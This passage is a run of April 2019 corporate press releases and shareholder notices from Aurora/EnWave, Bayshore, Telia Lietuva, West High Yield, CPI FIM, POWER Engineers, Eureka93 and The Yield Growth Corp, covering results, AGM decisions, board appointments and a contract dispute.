Ltd. (ASX: CAN), Micron Waste Technologies Inc. (CSE: MWM), Choom Holdings Inc. (CSE: CHOO), Capcium Inc. (private), Evio Beauty Group (private), Wagner Dimas (private), CTT Pharmaceuticals (OTCC: CTTH), Alcanna Inc. (TSX: CLIQ) and High Tide Inc. (CSE: HITI). Aurora's Common Shares trade on the TSX and NYSE under the symbol "ACB", and are a constituent of the S&P/TSX Composite Index. For more information about Aurora, please visit our investor website, investor.auroramj.com About EnWave EnWave Corporation, a Vancouver-based advanced technology company, has developed Radiant Energy Vacuum (REV) an innovative, proprietary method for the precise dehydration of organic materials. EnWave has further developed patent-pending methods for uniformly drying and decontaminating cannabis through the use of REV technology, shortening the time from harvest to marketable cannabis products. REV technologys commercial viability has been demonstrated and is growing rapidly across several market verticals in the food, and pharmaceutical sectors including legal cannabis. EnWaves strategy is to sign royalty-bearing commercial licenses with industry leaders in multiple verticals for the use of REV technology. The company has signed over twenty royalty-bearing licenses to date, opening up nine distinct market sectors for commercialization of new and innovative products. In addition to these licenses, EnWave has formed a Limited Liability Corporation, NutraDried Food Company, LLC, to develop, manufacture, market and sell all-natural cheese snack products in the United States under the Moon Cheese brand. EnWave has introduced REV as the new dehydration standard in the food and biological material sectors: faster and cheaper than freeze drying, with better end product quality than air drying or spray drying. EnWave currently has three commercial REV platforms: nutraREV which is used in the food industry to dry food products quickly and at low-cost, while maintaining high levels of nutrition, taste, texture and colour; powderREV which is used for the bulk dehydration of food cultures, probiotics and fine biochemicals such as enzymes below the freezing point, and quantaREV which is used for continuous, high-volume low-temperature drying. An additional platform, freezeREV, is being developed as a new method to stabilize and dehydrate biopharmaceuticals such as vaccines and antibodies. More information about EnWave is available at www.enwave.net . Neither the TSX, TSX Venture, NYSE, nor their Regulation Services Provider (as that term is defined in the policies of the TSX, TSX Venture and NYSE) accepts responsibility for the adequacy or accuracy of this release. Terry Booth, CEO Brent Charleton, CEO Aurora Cannabis Inc. EnWave Corporation Further information For Aurora: For Media: For Investors: Heather MacGregor Marc Lakmaaker Rob Kelly +1.416.509.5416 +1.647.269.5523 +1.647.331.7228 heather.macgregor@auroramj.com marc.lakmaaker@auroramj.com rob.kelly@auroramj.com U.S. Investors Phil Carlson / Elizabeth Barker KCSA Strategic Communications Phone: (212) 896-1233 / (212) 896-1203 Email: pcarlson@kcsa.com / ebarker@kcsa.com For EnWave: Brent Charleton, CFA John P.A. Budreski Deborah Honig +1. 778.378.9616 +1.416.930.0914 +1.647.203.8793 bcharleton@enwave.net jbudreski@enwave.net dhonig@enwave.net Forward looking statements This news release includes statements containing certain forward-looking information within the meaning of applicable securities law (forward-looking statements). Forward-looking statements are frequently characterized by words such as plan, continue, expect, project, intend, believe, anticipate, estimate, may, will, potential, proposed and other similar words, or statements that certain events or conditions may or will occur and include, but are not limited to, the impact of the EnWave technology on Auroras economic returns, working capital requirements, acceleration of time to market from harvest, ability to produce bulk cannabis for extraction, and the significant CapEx savings, as well as the potential development of new intellectual property. These statements are only predictions. Various assumptions were used in drawing the conclusions or making the projections contained in the forward-looking statements throughout this news release. Forward-looking statements are based on the opinions and estimates of management at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking statements. The Company is under no obligation, and expressly disclaims any intention or obligation, to update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, except as expressly required by applicable law. CALGARY, Alberta, April 26, 2019 (GLOBE NEWSWIRE) -- Bayshore, the TSX Venture Exchange (TSX: BHS) listed technology focused oil and gas company, is pleased to announce the Companys audited financial statements and accompanying management discussion & analysis for the year ended December 31, 2018 were filed on April 15, 2019 and are available online at www.sedar.com . The main highlights of 2018 were as follows: Corporate Mr. Po Kwong (Ivan) Chan was appointed Director and Chairman of the board. Ms. Ellen Yu and Mr. Alex Falconer were elected to the Board of Directors as independent board members and were appointed as members of the audit committee. Mr. Lance Mierendorf was appointed as Chief Financial Officer. The Companys shares ceased trading on May 4, 2018 due to the late annual filing of the 2017 annual audited financial statements. The Company resolved all issues raised by the TSX Venture Exchange as a result of a continued listing review and the Companys shares were reinstated for trading on January 3, 2019. At the 2018 annual general meeting held on August 7, 2018, shareholders approved a private placement which resulted in Morag Investments Ltd., a company owned and controlled by the Chairman of Bayshore, owning more than 50% of the outstanding shares of the Company. Financial On December 28, 2018, the Company completed a private placement, initially announced on June 29, 2018, raising gross proceeds of $750,000. The Company secured debt financing totalling $650,000 from the Chairman of Bayshore. Net loss for 2018 was $82,409 (2017 - net loss of $122,352), inclusive of a one-time, non-recurring charge for the derecognition of liabilities of $526.259. Cash on hand at December 31, 2018 was $820,705 (2017 - $51,842). Working capital at December 31, 2018 was $426,794 (2017 - $923,740 deficit). Operational Activities were limited to administration and business development with a focus on collaborating with industry partners to implement a partial heavy oil/bitumen upgrade project (Pilot Partial Upgrade Project). Board and management continue to focus on securing funding to advance the Companys heavy oil partial upgrade initiative. During April 2019, the Company moved into a new corporate office located at Bay 127, 5655 10th Avenue NE, Calgary, Canada. The registered and mailing office remains unchanged at 340, 600 Crowfoot Crescent NW, Calgary, Canada. Peter Ho, CEO, commented: The Company continues to focus its efforts and resources on collaborating with industry partners including technology holders, potential investors and suppliers of heavy oil, to implement a heavy oil Pilot Partial Upgrade Project in northern Saskatchewan. Lab and desktop testing of the technology process by the technology owner (who is independent of Bayshore) is ongoing and the Company is designing field infrastructure at a proposed field site ideally located near a heavy oil producing asset. Agreements on the various aspects of the pilot project including ownership of assets and structure of the investment are progressing and the Company anticipates that the commissioning of a Pilot Partial Upgrade Project will take place in 2019." For further information, please contact: Peter Ho, Chief Executive Officer and Director peter.ho@bayshorepetroleum.com +1 (403) 630 4355 Lance Mierendorf, Chief Financial Officer lance.mierendorf@bayshorepetroleum.com +1 (403) 680 8773 This news release does not constitute an offer to sell or a solicitation of an offer to buy any of the securities of the Company in the United States. The Company's securities have not been and will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act"), or any state securities laws and may not be offered or sold within the United States or to U.S. Persons unless registered under the U.S. Securities Act and applicable state securities laws or an exemption from such registration is available. Cautionary Statements Statements in this press release may contain forward-looking information including expectations of future production, operating costs, commodity prices, administrative costs, commodity price risk management activity, acquisitions and dispositions, capital spending, access to credit facilities, income taxes, regulatory changes, and other components of cash flow and earnings. The reader is cautioned that assumptions used in the preparation of such information may prove to be incorrect. Events or circumstances may cause actual results to differ materially from those predicted, a result of numerous known and unknown risks, uncertainties, and other factors, many of which are beyond the control of the Company. These risks include, but are not limited to, the risks associated with the mining industry, commodity prices and exchange rate changes. Industry related risks could include, but are not limited to, operational risks in exploration, development and production, delays or changes in plans, risks associated to the uncertainty of reserve estimates, health and safety risks and the uncertainty of estimates and projections of production, costs and expenses. The reader is cautioned not to place undue reliance on this forward-looking information. NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS NEWS RELEASE. Lithuanian English On 26 April 2019, the Annual General Meeting of Telia Lietuva, AB (hereinafter the Company or Telia Lietuva) shareholders decided: - To approve the audited annual consolidated and separate financial statements of the Company for the year 2018. The consolidated annual report of the Company for the year 2018, prepared by the Company, assessed by the auditors and approved by the Board, was presented to the shareholders. - To allocate from the Companys distributable profit of EUR 131,617 thousand an amount of EUR 46,609 thousand for the payment of dividends for the year 2018, i.e. EUR 0.08 dividend per share, and carry forward to the next financial year an amount of EUR 85,008 thousand as retained earnings (undistributed profit). For two independent members to the Board Tomas Balzekas and Mindaugas Glodas as tantiems (annual payment) for the year 2018 to allocate in total an amount of EUR 31,280, or EUR 15,640 each. The Law on Companies of the Republic of Lithuania provides that dividends shall be paid to the shareholders who at the end of the tenth business day following the Annual General Meeting that adopts a decision on dividend payment (rights accounting day) will be on the Shareholders List of the Company, i.e. will be shareholders of Telia Lietuva, AB on 13 May 2019. Following the Law on Companies the Company should pay dividends within the one month following the day on which the decision on profit distribution was adopted. The Company plans to pay out dividends for the year 2018 on 23 May 2019. Following Lithuanian laws dividends paid to natural personsresidents of the Republic of Lithuania and natural personsresidents of foreign countries are subject to withholding Personal income tax of 15 per cent. Dividends paid to legal entities of the Republic of Lithuania and legal entitiesresidents of foreign countries are subject to withholding Corporate income tax of 15 per cent, unless otherwise provided for by the laws. - To change the registered office of the Company to Saltoniskiu str. 7A, LT- 03501 Vilnius, Lithuania. - To approve the preparation of reorganisation terms, under which Telia Customer Service LT, AB (registration number 110401957, office Vytenio str. 18, Vilnius, Lithuania; reorganised company) would be merged into Telia Lietuva, AB (registration number 121215434, office at Saltoniskiu str. 7A, Vilnius, Lithuania; a company participating in the reorganisation), and to authorise the Board and the CEO of the Company to perform all actions and adopt all decisions necessary for the aforementioned reorganisation. - Taking into consideration that the current term of the Companys Board expired on 27 April 2019, to elect to the Board of the Company for the two-year term of the Board: Mr. (Per) Emil Nilsson (proposed by Telia Company AB) Ms Agneta (Magdalena) Wallmark (proposed by Telia Company AB) Mr. Claes (Johan Ingemar) Nycander (proposed by Telia Company AB) Mr Hannu-Matti Makinen (proposed by Telia Company AB) Mr Tomas Balzekas (as independent member of the Board proposed by Telia Company AB) Mr Mindaugas Glodas (as independent member of the Board proposed by Telia Company AB) Emil Nilsson (born in 1971) Chairman of the Board, member of the Board of Telia Lietuva since 9 November 2018 (nominated by Telia Company AB), Chairman of the Remuneration Committee. Education University of Stockholm (Sweden), Bachelor of Science in Finance. Employment Telia Company AB (Sweden), Senior Vice President & Head of cluster Lithuania, Estonia and Denmark (LED) and Region Eurasia. Current Board Assignments: Moldcell S.A. (Moldova), Chairman of the Board; Fintur Holdings B.V. (The Netherlands), member of the Board and Svenska Handbollslandslaget AB (Sweden), member of the Board. Emil Nilsson has no direct interest in the share capital of Telia Lietuva. Agneta Wallmark (born in 1960) member of the Board of Telia Lietuva since 25 April 2018 (nominated by Telia Company AB), Chairwoman of the Audit Committee. Education: Stockholm School of Economics (Sweden), B. Sc. Econ with special focus on Accounting and Finance; Stockholm University (Sweden), LL M with special focus on Tax and Economics. Employment: Telia Company AB (Sweden), Vice President, Head of Treasury. Current Board assignments: Telia Insurance AB (Sweden), Chairwoman of the Board; Swedish Pension Fund of Telia (Sweden), Member of the Board and Telia Towers AB (Sweden), Member of the Board. Agneta Wallmark has no direct interest in the share capital of Telia Lietuva. Claes Nycander (born in 1963) member of the Board of Telia Lietuva since 29 April 2014, re-elected for the two-year term on 29 April 2015 and 27 April 2017 (nominated by Telia Company AB), member of the Remuneration Committee. Education: Uppsala University (Sweden), Master of Business and Administration; Stanford University Palo Alto (U.S.A.), Master of Science in Electrical Engineering; Institute of Technology at University of Linkoping (Sweden), Master of Science in Electrical Engineering and University of Linkoping (Sweden), Bachelor of Science in Mathematics. Employment: Telia Company AB (Sweden), Vice President and Head of Chief Operating Officer Office & LED (Lithuania, Estonia, Denmark) Management at Group Service Operations. Current Board Assignments: TT Natverket A/S (Denmark), Chairman of the Board; Telia Towers AB (Sweden), Chairman of the Board; Telia Towers Sweden AB (Sweden), Chairman of the Board; Telia Company Danmark A/S (Denmark), Chairman of the Board; Telia Mobile Holding AB (Sweden), Chairman of the Board; Telia Nattjanster Norden AB (Sweden), Chairman of the Board; Systecon AB (Sweden), member of the Board; Svenska UMTS-Nat AB (Sweden), member of the Board; LMT SIA (Latvia), member of the Supervisory Council andTelia Eesti AS (Estonia), member of the Supervisory Council. Claes Nycander has no direct interest in the share capital of Telia Lietuva. Hannu-Matti Makinen (born in 1970) Member of the Board of Telia Lietuva since 25 April 2018 (nominated by Telia Company AB). Education: University of Arizona (U.S.A), College of Law, LL.M (Masters of Laws) in International Trade Law, and University of Lapland (Finland), School of Law, LL.B (Bachelor of Laws) and LL.M (Masters of Laws) in Finnish and EU-Law. Employment: Telia Company AB (Sweden), Vice President and Head of Legal Practice Group B2B & Carrier. Current Board Assignments: Telia Finland Oyj (Finland), member of the Board; Tilts Communications A/S (Denmark), member of the Board; Turkcell Holding A.S. (Turkey), member of the Board and Lattelecom SIA (Latvia), member of the Supervisory Council. Hannu-Matti Makinen has no direct interest in the share capital of Telia Lietuva. Tomas Balzekas (born in 1977) independent member of the Board of Telia Lietuva since 25 April 2018 (as independent member of the Board nominated by Telia Company AB), member of the Audit Committee. Education: Concordia University Wisconsin (U.S.A.), Master of Business Administration (MBA), Finance, and Bachelor of International Business; Concordia International University Estonia, Bachelor of International Business. Employment: UAB Media Bites (Lithuania), General Manager (CEO). Involvement in activities of other entities: UAB Media Bites (Lithuania), shareholder (51 per cent); UAB Mano Daktaras (Lithuania), a subsidiary of UAB Media Bites, General Manager (CEO); UAB Balzeko Bites (Lithuania), shareholder (100 per cent); UAB InsurTech Solutions (Lithuania), shareholder (18 per cent); VsI Kino Pasaka (Lithuania), founder and owner (50 per cent); VsI Tiriamosios Zurnalistikos Centras (Lithuania), owner (100 per cent) and VsI Lietuvos Nacionalinis Radijas ir Televizija (Lithuanian National Radio and Television), member of the Council. Tomas Balzekas has no direct interest in the share capital of Telia Lietuva. Mindaugas Glodas (born in 1972) independent member of the Board of Telia Lietuva since 25 April 2018 (as independent member of the Board nominated by Telia Company AB), member of the Audit and Remuneration Committees. Education: University of Antwerp, Centre for Business Administration UFSIA (Belgium), Master in Business Administration (MBA), Vilniaus University, Faculty of Economics (Lithuania), Bachelor in Business Administration (BBA). Employment: NRD Companies AS (Norway) and Norway Registers Development AS (Norway) General Manager, and Norway Registers Development AS Lithuanian branch, General Manager. Involvement in activities of other entities: UAB Nextury Ventures (Lithuania), Partner; Council for Research, Development and Innovations at the Government of Lithuania, Member of the Council; Agency for Science, Innovations and Technologies (Lithuania), Member of Coordinating Council; Association Ziniu Ekonomikos Forumas (Lithuania), Chairman of the Council; MB Vox Proxima (Lithuania), Member of partnership (50 per cent) and General Manager of the following Lithuanian start-ups: UAB Airthemes (under liquidation) and Zedge Lithuania, UAB. Mindaugas Glodas has no direct interest in the share capital of Telia Lietuva. All elected members of the Board are regarded as non-executive member of the Board, while Tomas Balzekas and Mindaugas Glodas besides are regarded as independent members of the Board. - To authorise the CEO of the Company to implement all above mentioned decisions, sign all the related documents and conclude all the transactions required for the implementation of the aforementioned decisions. The CEO of the Company shall be entitled to authorise any other person to perform the aforementioned actions and to sign the aforementioned documents. ENCL.: - Telia Lietuva, AB Consolidated and Separate Financial Statements, Consolidated Annual Report and Independent Auditors Report for the year ended 31 December 2018. - Statement of the Companys profit allocation for the year 2018. - Curriculum Vitae of elected members of the Board. Darius Dziaugys, Head of Investor Relations, tel. +370 5 236 7878, e-mail: darius.dziaugys@telia.lt Attachments CALGARY, Alberta, April 26, 2019 (GLOBE NEWSWIRE) -- West High Yield (W.H.Y.) Resources Ltd. ("West High Yield" or the "Company") (TSXV: WHY) announces the release of its audited financial statements and Management's Discussion and Analysis (MD&A) for the year ended December 31, 2018 which have been filed with Canadian securities regulatory authorities under the Company's profile on SEDAR at www.sedar.com. About West High Yield West High Yield is a publicly traded junior mining exploration company focused on the acquisition, exploration and development of mineral resource properties in Canada with a primary objective to locate and develop economic gold, nickel and magnesium properties. For further information please contact: Frank Marasco President and Chief Executive Officer West High Yield (W.H.Y.) Resources Ltd. Telephone: (403) 660-3488 Facsimile: (403) 206-7159 Email: frank@whyresources.com Dwayne Vinck Chief Financial Officer West High Yield (W.H.Y.) Resources Ltd. Telephone: (403) 257-2637 Facsimile: (403) 206-7159 Email: vinck@shaw.ca Reader Advisory Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this press release. Not for distribution in the United States. This news release does not constitute an offer to sell or a solicitation of an offer to buy any securities in the United States. The securities of the Company will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act") and may not be offered or sold within the United States or to, or for the account or benefit of U.S. persons except in certain transactions exempt from the registration requirements of the U.S. Securities Act. CPI FIM SA (formerly Orco Property Group) Societe Anonyme 40, rue de la Vallee L-2661 Luxembourg R.C.S. Luxembourg B 44.996 (the Company) CONVENING NOTICE OF THE COMPANYS ANNUAL GENERAL MEETING TO BE HELD ON 29 MAY 2019 Dear Shareholders, You are invited to attend the Annual General Meeting of the shareholders of the Company (the Meeting) to be held at the registered office of the Company at 40, rue de la Vallee, L-2661 Luxembourg, Grand Duchy of Luxembourg, on 29 May 2019 at 14:00 CET , to discuss and to vote on the agenda indicated below. The Meeting is convened in accordance with article 450-8 of the Luxembourg law on commercial companies dated 10 August 1915, as amended from time to time (the LCA) and article 3 of the law dated 24 May 2011 on the exercise of certain rights of shareholders in general meetings of listed companies, with the following points on the agenda: AGENDA Presentation of the reports of the Board of Directors and of the approved auditor (reviseur dentreprises agree) of the Company on the statutory annual accounts and on the consolidated annual accounts of the Company for the financial year ended 31 December 2018. Presentation and approval of the statutory annual accounts for the financial year ended 31 December 2018. Presentation and approval of the consolidated annual accounts for the financial year ended 31 December 2018. Allocation of the financial results in relation to the financial year ended 31 December 2018. Discharge to be granted to the members of the Board of Directors in respect of the performance of their duties during the financial year ended 31 December 2018. Discharge to be granted to the approved auditor (reviseur dentreprises agree) in respect of the performance of its duties during the financial year ended 31 December 2018. Decision to appoint with immediate effect Mr. David Greenbaum to the Board of Directors of the Company until the annual general meeting of the shareholders of the Company to be held in 2020 concerning the approval of the annual accounts of the Company for the financial year ending on 31 December 2019. Decision to appoint with immediate effect Mr. Edward Hughes to the Board of Directors of the Company until the annual general meeting of the shareholders of the Company to be held in 2020 concerning the approval of the annual accounts of the Company for the financial year ending on 31 December 2019. Decision to appoint with immediate effect Mrs. Anita Dubost to the Board of Directors of the Company until the annual general meeting of the shareholders of the Company to be held in 2020 concerning the approval of the annual accounts of the Company for the financial year ending on 31 December 2019. Subject to approval of item 7 of the agenda, decision to appoint Mr. David Greenbaum as the Managing Director (administrateur delegue) of the Company until the annual general meeting of the shareholders of the Company to be held in 2020 concerning the approval of the annual accounts of the Company for the financial year ending on 31 December 2019. Decision to appoint KPMG Luxembourg Societe cooperative as the approved auditor (reviseur dentreprises agree) of the Company until the annual general meeting of the shareholders of the Company to be held in 2020 concerning the approval of the annual accounts of the Company for the financial year ending on 31 December 2019. ATTENDING THE MEETING In order to attend the Meeting, shareholders must provide the Company with the following three items as explained in greater detail below: (i) Record Date Confirmation, (ii) Attendance and Proxy Form, and (iii) Proof of Shareholding. Record Date Confirmation: This document shall be provided to the Company by a shareholder at the latest by 23:59 CET on the Record Date. The Record Date is 15 May 2019 (the Record Date, i.e. the day falling fourteen (14) days before the date of the Meeting). The Record Date Confirmation must be in writing and indicate that a shareholder holds the Company shares and wishes to participate in the Meeting. A template form of the Record Date Confirmation is available on the Companys website at www.orcogroup.com . The Record Date Confirmation must be sent to the Company by post or electronic means so that it is received by the Company at the latest by 23:59 CET on the Record Date, i.e. 15 May 2019 , to: CPI FIM SA 40, rue de la Vallee, L-2661 Luxembourg Fax: + 352 26 47 67 67 email: generalmeetings@orcogroup.com Attendance and Proxy form: A template form is available on the Companys website at www.orcogroup.com and is to be duly completed and signed by shareholders wishing to attend or be represented at the Meeting. Proof of Shareholding: This document must indicate the shareholder's name and the number of Company shares held at 23:59 CET on the Record Date. The Proof of Shareholding shall be issued by the bank, the professional securities' depositary or the financial institution where the shares are on deposit. Please note that Proof of Shareholding is not necessary for those shareholders whose shares are still recorded as registered shares in the Companys shareholders register. Shareholders wishing to attend the Meeting must send the Attendance and Proxy form together with the relevant Proof of Shareholding by post or electronic means so that they are received by the Company at the latest by noon (12:00 noon CET) on 24 May 2019 , to: CPI FIM SA 40, rue de la Vallee, L-2661 Luxembourg Fax: + 352 26 47 67 67 email: generalmeetings@orcogroup.com Please note that only persons who are shareholders at the Record Date and have timely submitted their Record Date Confirmation, Attendance and Proxy form, and Proof of Shareholding shall have the right to participate and vote in the Meeting. Documentation and information: The following documents and information are available for the shareholders on our website: www.orcogroup.com and, in particular, in the "Shareholder Corner": the present convening notice; the total number of shares and the voting rights in the Company as at the date of this convening notice; the documents to be submitted to the Meeting (in particular the reports of the board of directors and of the approved auditor (reviseur dentreprises agree), the statutory annual accounts for the financial year ended 31 December 2018 and the consolidated annual accounts for the financial year ended 31 December 2018); the draft resolutions of the Meeting. Any draft resolution(s) submitted by shareholder(s) shall be added to the website as soon as possible after the Company has received them; the Record Date Confirmation form; and the Attendance and Proxy form. The above documents may also be obtained by shareholders upon written request sent to the following postal address: CPI FIM SA, 40, rue de la Vallee, L-2661 Luxembourg. For further information, visit our website: www.orcogroup.com and, in particular, the "Shareholder Corner". Quorum Requirement: The Meeting shall validly deliberate regardless of the corporate capital present or represented. Resolutions, in order to be adopted, must be carried by a majority of the votes cast. Votes cast shall not include votes attaching to shares in which the shareholder has not taken part in the vote or has abstained or has returned a blank or invalid vote. Right to add new items on the agenda : One or more shareholders together representing at least five per cent of the share capital has the right to (i) put one or more items on the agenda of the Meeting and (ii) table draft resolutions for items included or to be included on the agenda of the Meeting. Such requests must: be in writing and sent to the Company by post (at the following address: CPI FIM SA, 40, rue de la Vallee, L-2661 Luxembourg) or electronic means (at the following email address: generalmeetings@orcogroup.com ) and be accompanied by a justification or draft resolution to be adopted in the Meeting; ) and be accompanied by a justification or draft resolution to be adopted in the Meeting; include the postal or electronic address at which the Company may acknowledge receipt of the requests; be received by the Company at least twenty two (22) days before the date of the Meeting, i.e. 7 May 2019. The Company shall acknowledge receipt of requests referred to above within (forty-eight) 48 hours from receipt. The Company shall prepare a revised agenda including such additional items on or before the fifteenth (15th) day before the date of the Meeting. If you need further assistance or information, please contact: CPI FIM SA, 40, rue de la Vallee, L-2661 Luxembourg, Tel: + 352 26 47 67 1; Fax: + 352 26 47 67 67; email: generalmeetings@orcogroup.com Luxembourg, 26 April 2019 Yours faithfully, The Board of Directors of the Company Hailey, Idaho, April 26, 2019 (GLOBE NEWSWIRE) -- Leading industry magazine Engineering News-Record has once again recognized Idaho-based POWER Engineers, Inc. (POWER), as one of the top design firms in the United States. ENR ranks the top 500 design firms in the U.S. each year based on annual revenue. POWER has consistently ranked within the top percentiles for overall design firms, the power section, and pure design. POWER solidified its place on these exclusive lists, ranking 36th in overall design firms; 4th in the power sector; and 20th for pure design. These spots are nothing new for POWER, as the company has ranked among the top 100 design firms since 2005, among the top 50 pure design firms since the category was created in 2016, and within the top 25 in the power sector since 2000. POWER CEO Bret Moffett said that POWERs continuing to rank among the top firms reflects the companys nimble, flexible approach to meeting client needs. Our clients markets are changing rapidly, but POWER is poised to help them navigate those changes, he said. Were always committed to providing innovative solutions to client challenges. Were honored that ENR has once again recognized our dedication to serving our clients. About POWER Engineers: POWER Engineers is a global consulting engineering firm specializing in the delivery of integrated solutions for energy, food and beverage facilities, environmental and federal markets. POWER Engineers offers complete multidiscipline engineering and program management services. Founded in 1976, it is an employee-owned company with more than 2,500 employees and 45 offices throughout the United States and abroad. Ottawa, Ontario, April 26, 2019 (GLOBE NEWSWIRE) -- As previously disclosed on November 22, 2017, LiveWell Canada Inc. (CSE: LVWL), recently renamed Eureka 93 Inc. (Eureka93), entered into an arrangement with Canopy Growth Corporation (Canopy) (TSX: WEED) (NYSE: CGC) and Canopy Rivers Corporation (Rivers) (TSXV: RIV) consisting of three agreements (the Agreements): an Investment Agreement, a Royalty Agreement and an Offtake Agreement (which agreements were amended on April 2, 2018). On April 3, 2019, Eureka93 received notice from Canopy and Rivers alleging, among other things, that Eureka93 had breached a number of covenants in favour of Canopy and Rivers under the Agreements, including an allegation that Eureka93 failed to provide notice to Canopy of the proposed merger of LiveWell Canada Inc., Vitality CBD Natural Health Inc. and Mercal Capital Corporation. Canopy and Rivers have taken the position that they are terminating the Agreements. It is Eureka93s position that Canopy and Rivers have missed a key milestone in two of the Agreements around obtaining the ACMPR license at both the Artiva location and LiveWell Quebec location. Management believes there is no factual basis for the position taken by Canopy and Rivers, that their claims are tactical, and that Canopy and Rivers are in breach of all of the Agreements for, among other things, failing in their obligation to assist Artiva and Eureka93 in obtaining the ACMPR license, entitling Eureka93 and Artiva to terminate the Agreements. Management strongly believes the allegations and claims put forward by Canopy and Rivers are frivolous, and disputes the positions taken by Canopy and Rivers with respect to termination of the Agreements. The Company will vigorously pursue its rights through the dispute resolution process set out in the Agreements. About Eureka 93 Inc. Eureka 93 Inc. is one of the largest hemp cultivation and extraction operations in North America. The vertically integrated company is dedicated to producing the highest-quality CBD products for its customers. Eureka93 is a design-driven company for creative solutions in systems, products, packages and services. For more information visit www.eureka93.com Forward-Looking Statements Certain statements contained in this news release constitute forward-looking statements or forward-looking information under applicable securities legislation. Forward-looking statements include all disclosures regarding possible events, conditions or results of operations that are based on assumptions about future economic conditions and courses of action. Forward-looking statements may also include, without limitation, any statement relating to future events, conditions or circumstances. The Company cautions readers not to place undue reliance upon any such forward-looking statements, which speak only as of the date they are made. Often, but not always, forward-looking statements can be identified by the use of words or phrases such as plans, expects or does not expect, is expected, budget, scheduled, estimates, forecasts, intends, anticipates or does not anticipate, believes and similar expressions or statements that certain actions, events or results may, could, would, might or will be taken, occur or be achieved, and may be based on managements current assumptions and expectations related to all aspects of the Companys business, industry and the global economy. Further, the Company cautions that this foregoing list of material factors is not exhaustive and additional information identifying risks are detailed from time to time in the Companys other continuous disclosure filings. The forward-looking information contained in this press release represents expectations of the Company as of the date of this press release and accordingly, is subject to change after such date. Readers should not place undue importance on forward-looking information and should not rely upon this information as of any other date. While the Company may elect to, it does not undertake to update this information at any particular time except as required in accordance with applicable securities laws. Neither the Canadian Securities Exchange nor its Regulation Services Provider accepts responsibility for the adequacy or accuracy of this release. SOURCE: Eureka 93 Inc. www.eureka93.com VANCOUVER, British Columbia, April 26, 2019 (GLOBE NEWSWIRE) -- The Yield Growth Corp. (CSE:BOSS) (OTC:BOSQF) (Frankfurt: YG3) on a consolidated basis (the Company, us, we) provides an operational update and releases financial and operational results for the first quarter ended February 28, 2019. These filings are available for review on the Companys SEDAR profile at www.sedar.com . We have made significant achievements in building our brand assets and we are well positioned for future growth with a comprehensive line up of our hemp and cannabis infused products. Currently we own 100% of the following brand assets: Urban Juve This is our flagship brand, a unisex skin and personal care line with hemp root extract as its main ingredient. We currently have 11 products on the market, being sold in the US and Canada through e-commerce and through retail stores in Canada. Over 70 retail stores in Canada have agreed to carry the line, and we are now signing retailers in the United States (the US). We are launching our products in Asia this spring, starting with e-commerce set up on Chinese messaging and mobile payment application WeChat. Urban Juve has been well received by the press since its launch in Q1, with positive write ups in Elle Canada Magazine, Zoomer and The Growth Op. Our Anti-aging serum made it into this years pre-Oscar event bags. In addition to acquiring wellness formulas for body care, facial care and therapeutic products, we have also developed products through our in-house research and development team. To date we have filed 11 provisional patent applications in the US and one Patent Co-operation Treaty patent application which can be used as a basis for obtaining patent protection in over 170 countries. Our extraction technology is designed to preserve potentially therapeutic compounds in the cannabis root and enhance penetration into the skin. Urban Juve is a bold brand rooted in the organic synthesis of ancient knowledge and modern techniques to create exceptional beauty and wellness solutions. Ayurvedic knowledge delineates three general categories or skin types, which Urban Juve has translated as Vitalize, Balance and Align, each with its own dedicated range of skin and body care formulations. Urban Juve is in planning to launch over 30 additional products over the next year and these include: 3 Lip glosses, 3 body exfoliants, 3 facial masks, cream facial cleanser, Facial Cleansing Pads, micellar water, eye cream, 2 facial oils, deodorant, foot cream, a full mens line and essential oil blends. Wright & Well Wright & Well is our cannabis wellness brand that will be launching in Oregon, US in Q2 or Q3 2019. The products are intended to help relieve pain and anxiety. The initial nine products include analgesic topical gel with tetrahydrocannabinol (THC) and Cannabidiol (CBD), THC and CBD oils, pain balm with THC and CBD, massage oil with THC and CBD, and three types of capsules containing THC and Ayurvedic herbal formulations, blended with ingredients that have historically been used to treat arthritis and chronic pain. Wright & Well branded products will be launching in the legal cannabis market in Oregon and will serve the growing number of wellness-minded people seeking new ways to take control of their health. Sophisticated, familiar and intelligent, the new brand aims to demystify the world of cannabis and make it more accessible for a wider audience. We intend to license our brand and provide our formulas and packaging, as well as point of sales materials, to licensed cannabis manufacturers, distributors and retailers in various jurisdictions. We currently have discussions with cannabis license holders in the State of Washington, Nevada, California, New York, as well as Canada and other countries. Our plan is to roll out our brand internationally, one territory at a time. Mad Wallaby We are developing a line of products for cannabidiol infusion with the primary target market being the US. With the adoption of the Farm Bill into law in late 2018, topical products containing CBD are now federally legal in the US, subject to state law and compliance with the FDA. We have engaged New York marketing agency The Design Spot to create a brand identity and initial packaging design for this CBD product line. The design spot is a design and branding company located in the heart of New York City with a team of award-winning designers and with a portfolio that includes LOreal, Revlon and Dove. Mad Wallaby has been set up as a California corporation and our intention is to use it to distribute our brands in the US. UJ Beverages We currently have a line of 8 fruit beverages in development and we have 10 tea formulas in our catalogue. The fruit beverage formulations were developed in India and are based on Ayurvedic medicine using botanicals, fruit extracts and natural botanical extracts, including hemp extracts. The main beverages are good on their own and can also be infused with cannabinoids such as CBD and THC. The formulas have been developed to offer various health benefits, including an energy boost, hangover treatment, brain function boost, anxiety reduction, improved immunity, toxin removal and reduced inflammation. We have completed the taste profiling on the 8 fruit beverages and we are now in negotiations with several beverage manufacturers to complete stability testing and manufacture the drinks. One of the key ingredients in all of these beverages is cannabis leaf extract, which we produce using our patent pending sonic and nano emulsion technology. We are engaged in developing the brand and packaging for a hemp version and a cannabis version of our beverage line. FINANCIAL PERFORMANCE We realized revenue of $800,714 for the three months ended February 28, 2019 as compared to $1,808,813 for the same period of the prior year. The decline in revenues was primarily due to a consulting contract in the prior year which generated revenue of $1,800,000 as a one-time revenue. Licensing revenues are primarily driven by licensing contracts which do not have a pattern in timing. We expect to continue to generate licensing revenues for years to come but the timing of the licensing revenue is mainly determined by the timing of such contracts. We launched our first product sales in this Quarter, with our lip balm launching in 